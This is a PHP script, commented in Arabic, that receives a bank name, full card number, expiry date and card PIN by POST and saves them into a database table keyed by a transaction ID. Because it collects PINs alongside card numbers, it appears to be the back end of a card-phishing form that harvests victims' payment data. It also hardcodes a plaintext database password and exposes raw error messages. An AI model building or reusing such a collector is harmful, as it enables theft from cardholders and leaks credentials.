<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

// إعدادات الاتصال بقاعدة البيانات
$host = "localhost";
$username = "u565109619_user21user";
$password = "Raw159ptu@@";
$dbname = "u565109619_appdata";

$conn = new mysqli($host, $username, $password, $dbname);

// التحقق من الاتصال
if ($conn->connect_error) {
    die(json_encode(["success" => false, "error" => "❌ فشل الاتصال بقاعدة البيانات."]));
}

// التحقق من استقبال جميع البيانات المطلوبة
if (!isset($_POST['bank_name'], $_POST['prefix'], $_POST['card_number'], $_POST['month'], $_POST['year'], $_POST['pin'], $_POST['R_ID'])) {
    die(json_encode(["success" => false, "error" => "⚠️ بيانات مفقودة، تأكد من تعبئة جميع الحقول."]));
}

// استقبال القيم من `POST`
$R_ID = $conn->real_escape_string($_POST['R_ID']);
$bankName = $conn->real_escape_string($_POST['bank_name']);
$prefix = $conn->real_escape_string($_POST['prefix']);
$cardNumber = $conn->real_escape_string($_POST['card_number']);
$month = (int) $_POST['month'];
$year = (int) $_POST['year'];
$pin = $conn->real_escape_string($_POST['pin']);

// التحقق من وجود `R_ID` في جدول `transactions`
$check_RID = "SELECT R_ID FROM transactions WHERE R_ID = '$R_ID'";
$check_result = $conn->query($check_RID);
if ($check_result->num_rows == 0) {
    die(json_encode(["success" => false, "error" => "⚠️ المعرف غير موجود، تأكد من صحة R_ID."]));
}

// **إدخال البيانات في `bank_details` فقط إذا لم تكن موجودة مسبقًا**
$check_existing = "SELECT R_ID FROM bank_details WHERE R_ID = '$R_ID'";
$existing_result = $conn->query($check_existing);
if ($existing_result->num_rows > 0) {
    die(json_encode(["success" => false, "error" => "⚠️ البيانات لهذا المعرف تم تسجيلها مسبقًا."]));
}

// **إدخال البيانات في جدول `bank_details`**
$sql = "INSERT INTO bank_details (R_ID, bank_name, prefix, card_number, month, year, pin) 
        VALUES ('$R_ID', '$bankName', '$prefix', '$cardNumber', $month, $year, '$pin')";

if ($conn->query($sql) === TRUE) {
    echo json_encode(["success" => true, "message" => "✅ تم حفظ البيانات بنجاح!"]);
} else {
    echo json_encode(["success" => false, "error" => "❌ خطأ أثناء الحفظ: " . $conn->error]);
}

$conn->close();
?>
